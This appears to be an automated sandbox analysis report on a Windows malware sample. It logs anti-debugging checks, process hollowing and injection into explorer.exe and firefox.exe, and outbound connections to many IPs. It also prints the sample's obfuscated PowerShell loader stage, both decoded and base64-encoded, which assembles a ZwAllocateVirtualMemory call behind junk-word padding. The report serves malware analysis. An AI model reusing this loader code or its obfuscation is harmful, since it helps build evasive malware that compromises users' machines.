Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBCD10 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4BD08 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4BD08 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB0AEB mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB0AEB mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB0AEB mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8FAEC mov edi, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE90AED mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE90AED mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE90AED mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE99AE4 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF10AFF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF10AFF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF10AFF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3AF6 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3AF6 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3AF6 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3AF6 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA3AF6 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64AE8 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0ACE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA0ACE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDAC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDAC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDAC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDAC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDAC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDAC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF37ABE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC9ABF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC9ABF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC9ABF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4DAAF mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8BA80 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF46A80 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5BA66 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5BA66 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5BA66 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF5BA66 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC9A48 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC9A48 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14A57 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14A57 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBEA40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBEA40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8FA44 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1DA40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF2AA40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF2AA40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1DA31 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4DA30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDA20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBDA20 mov edx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE91A24 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE91A24 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87A30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87A30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87A30 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECAA0E mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECAA0E mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC5BE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC5BE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1BE7 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1BE7 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64BE0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87BF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87BF0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87BF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87BF0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE8EBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFBC0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEBFBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECBBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECBBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECBBC0 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECBBC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF36BDE mov ebx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF36BDE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14BC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14BC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14BC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF14BC0 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF0FBC2 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB8BD1 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEB8BD1 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58BBE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58BBE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58BBE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF58BBE mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93BA4 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93BA4 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93BA4 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE93BA4 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1DB90 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF11B93 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEA1B80 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC1B9C mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF46B77 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF64B67 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87B7D mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE87B7D mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EEC4B79 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE9AB70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96B70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96B70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EE96B70 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1FB45 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4BB40 mov ecx, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF4BB40 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECBB5B mov esi, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EECCB20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1CB20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1CB20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1CB20 mov eax, dword ptr fs:[00000030h]
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Code function: 21_2_1EF1DB2A mov eax, dword ptr fs:[00000030h]

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process queried: DebugPort
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Process queried: DebugPort
Source: C:\Windows\SysWOW64\rundll32.exe	Process queried: DebugPort

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Code function: 21_2_1EED2ED0 NtResumeThread,LdrInitializeThunk,

HIPS / PFW / Operating System Protection Evasion

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\explorer.exe	Network Connect: 103.150.61.226 80
Source: C:\Windows\explorer.exe	Network Connect: 66.29.155.228 80
Source: C:\Windows\explorer.exe	Network Connect: 185.27.134.153 80
Source: C:\Windows\explorer.exe	Network Connect: 145.14.153.89 80
Source: C:\Windows\explorer.exe	Network Connect: 104.21.51.250 80
Source: C:\Windows\explorer.exe	Network Connect: 142.250.185.179 80
Source: C:\Windows\explorer.exe	Network Connect: 154.210.161.216 80
Source: C:\Windows\explorer.exe	Network Connect: 89.46.108.25 80
Source: C:\Windows\explorer.exe	Network Connect: 216.18.208.202 80
Source: C:\Windows\explorer.exe	Network Connect: 81.95.96.29 80
Source: C:\Windows\explorer.exe	Network Connect: 154.23.227.120 80
Source: C:\Windows\explorer.exe	Network Connect: 217.160.0.178 80
Source: C:\Windows\explorer.exe	Network Connect: 130.211.17.207 80
Source: C:\Windows\explorer.exe	Network Connect: 154.80.183.133 80
Source: C:\Windows\explorer.exe	Network Connect: 188.114.96.3 80
Source: C:\Windows\explorer.exe	Network Connect: 217.21.87.131 80
Source: C:\Windows\explorer.exe	Network Connect: 154.95.160.71 80
Source: C:\Windows\explorer.exe	Network Connect: 199.15.163.148 80
Source: C:\Windows\explorer.exe	Network Connect: 142.251.39.115 80
Source: C:\Windows\explorer.exe	Network Connect: 13.248.216.40 80
Source: C:\Windows\explorer.exe	Network Connect: 104.21.39.116 80

Sample uses process hollowing technique

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Section unmapped: C:\Windows\SysWOW64\rundll32.exe base address: C30000

Maps a DLL or memory area into another process

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Section loaded: unknown target: C:\Windows\SysWOW64\rundll32.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: read write
Source: C:\Windows\SysWOW64\rundll32.exe	Section loaded: unknown target: C:\Program Files\Mozilla Firefox\firefox.exe protection: execute and read and write

Writes to foreign memory regions

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF6A8CE0000

Encrypted powershell cmdline option found

Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded #Nels Parapsyk Antih Dudelsac desul Murphied Mldr Louthe Accumbentk Pectoralis Duvet Opsprtn neddies Udsving Analysea Faresglo Demar Bluebel Couridah offlic #Rullest Lachrymat Barythym Maris tolseykul Uudslukke Satsbille Alvidend Udgangsfor Vedga Ferielukn Reyk Chasser Equalli Forsten muski Unpeel Spekta Jungmandun indukt Isol Skelnemrk Dgnfl Folkere Afpasn Dally Landgangs Henriksen Molbohis Sanering Grutn Stakladern Arch $C32 = [char]34 + "Z" + "wA"+"ll"+"oc"+"ateVir"+"tualM"+"e"+"m"+"ory" + [char]34#Commanding underbe Aporr Unfutil Julianistb Bagkldning Seren Conv Osteopla Unprefera Samme Semispira Regensiane Fehso Skov Komplette Redse Disputdag Fauc Semi galact Noropianic Millisekun Begrebsd Kdfar Misogy Topforsp Cprf livsbeti Ordre Mldeinodo Eksamen Uddannelse Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Skyd1{[DllImport("kernel32.dll")]public static extern IntPtr EnumTimeFormatsA(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("kernel32.dll")]public static extern IntPtr CreatePipe(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("ntdll.dll", EntryPoint=$C32)]public static extern int Fida(int Skyd6,ref Int32 lndgh,int Derivativt,ref Int32 Skyd,int Rgende142,int Skyd7);[DllImport("kernel32.dll")]public static extern IntPtr GetFileTime(uint Derivativt5,int Derivativt6);}"@#borts Fygehent Ostindiefa Densificat Excel udenrigsm vasicentri Wineskinav Skibs
Source: C:\Windows\System32\wscript.exe	Process created: Base64 decoded #Nels Parapsyk Antih Dudelsac desul Murphied Mldr Louthe Accumbentk Pectoralis Duvet Opsprtn neddies Udsving Analysea Faresglo Demar Bluebel Couridah offlic #Rullest Lachrymat Barythym Maris tolseykul Uudslukke Satsbille Alvidend Udgangsfor Vedga Ferielukn Reyk Chasser Equalli Forsten muski Unpeel Spekta Jungmandun indukt Isol Skelnemrk Dgnfl Folkere Afpasn Dally Landgangs Henriksen Molbohis Sanering Grutn Stakladern Arch $C32 = [char]34 + "Z" + "wA"+"ll"+"oc"+"ateVir"+"tualM"+"e"+"m"+"ory" + [char]34#Commanding underbe Aporr Unfutil Julianistb Bagkldning Seren Conv Osteopla Unprefera Samme Semispira Regensiane Fehso Skov Komplette Redse Disputdag Fauc Semi galact Noropianic Millisekun Begrebsd Kdfar Misogy Topforsp Cprf livsbeti Ordre Mldeinodo Eksamen Uddannelse Add-Type -TypeDefinition @"using System;using System.Runtime.InteropServices;public static class Skyd1{[DllImport("kernel32.dll")]public static extern IntPtr EnumTimeFormatsA(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("kernel32.dll")]public static extern IntPtr CreatePipe(uint Derivativt5,int Derivativt6, int Derivativt7);[DllImport("ntdll.dll", EntryPoint=$C32)]public static extern int Fida(int Skyd6,ref Int32 lndgh,int Derivativt,ref Int32 Skyd,int Rgende142,int Skyd7);[DllImport("kernel32.dll")]public static extern IntPtr GetFileTime(uint Derivativt5,int Derivativt6);}"@#borts Fygehent Ostindiefa Densificat Excel udenrigsm vasicentri Wineskinav Skibs

Injects a PE file into a foreign processes

Source: C:\Windows\SysWOW64\rundll32.exe

Memory written: C:\Program Files\Mozilla Firefox\firefox.exe base: 7FF6A8CE0000 value starts with: 4D5A

Queues an APC in another process (thread injection)

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe

Thread APC queued: target process: C:\Windows\explorer.exe

Modifies the context of a thread in another process (thread injection)

Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Thread register set: target process: 4868
Source: C:\Program Files (x86)\Internet Explorer\ielowutil.exe	Thread register set: target process: 4868
Source: C:\Windows\SysWOW64\rundll32.exe	Thread register set: target process: 4868

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "IwBOAGUAbABzACAAUABhAHIAYQBwAHMAeQBrACAAQQBuAHQAaQBoACAARAB1AGQAZQBsAHMAYQBjACAAZABlAHMAdQBsACAATQB1AHIAcABoAGkAZQBkACAATQBsAGQAcgAgAEwAbwB1AHQAaABlACAAQQBjAGMAdQBtAGIAZQBuAHQAawAgAFAAZQBjAHQAbwByAGEAbABpAHMAIABEAHUAdgBlAHQAIABPAHAAcwBwAHIAdABuACAAbgBlAGQAZABpAGUAcwAgAFUAZABzAHYAaQBuAGcAIABBAG4AYQBsAHkAcwBlAGEAIABGAGEAcgBlAHMAZwBsAG8AIABEAGUAbQBhAHIAIABCAGwAdQBlAGIAZQBsACAAQwBvAHUAcgBpAGQAYQBoACAAbwBmAGYAbABpAGMAIAANAAoAIwBSAHUAbABsAGUAcwB0ACAATABhAGMAaAByAHkAbQBhAHQAIABCAGEAcgB5AHQAaAB5AG0AIABNAGEAcgBpAHMAIAB0AG8AbABzAGUAeQBrAHUAbAAgAFUAdQBkAHMAbAB1AGsAawBlACAAUwBhAHQAcwBiAGkAbABsAGUAIABBAGwAdgBpAGQAZQBuAGQAIABVAGQAZwBhAG4AZwBzAGYAbwByACAAVgBlAGQAZwBhACAARgBlAHIAaQBlAGwAdQBrAG4AIABSAGUAeQBrACAAQwBoAGEAcwBzAGUAcgAgAEUAcQB1AGEAbABsAGkAIABGAG8AcgBzAHQAZQBuACAAbQB1AHMAawBpACAAVQBuAHAAZQBlAGwAIABTAHAAZQBrAHQAYQAgAEoAdQBuAGcAbQBhAG4AZAB1AG4AIABpAG4AZAB1AGsAdAAgAEkAcwBvAGwAIABTAGsAZQBsAG4AZQBtAHIAawAgAEQAZwBuAGYAbAAgAEYAbwBsAGsAZQByAGUAIABBAGYAcABhAHMAbgAgAEQAYQBsAGwAeQAgAEwAYQBuAGQAZwBhAG4AZwBzACAASABlAG4AcgBpAGsAcwBlAG4AIABNAG8AbABiAG8AaABpAHMAIABTAGEAbgBlAHIAaQBuAGcAIABHAHIAdQB0AG4AIABTAHQAYQBrAGwAYQBkAGUAcgBuACAAQQByAGMAaAAgAA0ACgAkAEMAMwAyACAAPQAgAFsAYwBoAGEAcgBdADMANAAgACsAIAAiAFoAIgAgACsAIAAiAHcAQQAiACsAIgBsAGwAIgArACIAbwBjACIAKwAiAGEAdABlAFYAaQByACIAKwAiAHQAdQBhAGwATQAiACsAIgBlACIAKwAiAG0AIgArACIAbwByAHkAIgAgACsAIABbAGMAaABhAHIAXQAzADQADQAKACMAQwBvAG0AbQBhAG4AZABpAG4AZwAgAHUAbgBkAGUAcgBiAGUAIABBAHAAbwByAHIAIABVAG4AZgB1AHQAaQBsACAASgB1AGwAaQBhAG4AaQBzAHQAYgAgAEIAYQBnAGsAbABkAG4AaQBuAGcAIABTAGUAcgBlAG4AIABDAG8AbgB2ACAATwBzAHQAZQBvAHAAbABhACAAVQBuAHAAcgBlAGYAZQByAGEAIABTAGEAbQBtAGUAIABTAGUAbQBpAHMAcABpAHIAYQAgAFIAZQBnAGUAbgBzAGkAYQBuAGUAIABGAGUAaABzAG8AIABTAGsAbwB2ACAASwBvAG0AcABsAGUAdAB0AGUAIABSAGUAZABzAGUAIABEAGkAcwBwAHUAdABkAGEAZwAgAEYAYQB1AGMAIABTAGUAbQBpACAAZwBhAGwAYQBjAHQAIABOAG8AcgBvAHAAaQBhAG4AaQBjACAATQBpAGwAbABpAHMAZQBrAHUAbgAgAEIAZQBnAHIAZQBiAHMAZAAgAEsAZABmAGEAcgAgAE0AaQBzAG8AZwB5ACAAVABvAHAAZgBvAHIAcwBwACAAQwBwAHIAZgAgAGwAaQB2AHMAYgBlAHQAaQAgAE8AcgBkAHIAZQAgAE0AbABkAGUAaQBuAG8AZABvACAARQBrAHMAYQBtAGUAbgAgAFUAZABkAGEAbgBuAGUAbABzAGUAIAANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AUgB1AG4AdABpAG0AZQAuAEkAbgB0AGUAcgBvAHAAUwBlAHIAdgBpAGMAZQBzADsADQAKAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABjAGwAYQBzAHMAIABTAGsAeQBkADEADQAKAHsADQAKAFsARABsAGwASQBtAHAAbwByAHQAKAAiAGsAZQByAG4AZQBsADMAMgAuAGQAbABsACIAKQBdAHAAdQBiAGwAaQBjACAAcwB0AGEAdABpAGMAIABlAHgAdABlAHIAbgAgAEkAbgB0AFAAdAByACAARQBuAHUAbQBUAGkAbQBlAEYAbwByAG0AYQB0AHMAQQAoAHUAaQBuAHQAIABEAGUAcgBpAHYAYQB0AGkAdgB0ADUALABpAG4AdAAgAEQAZQByAGkAdgBhAHQAaQB2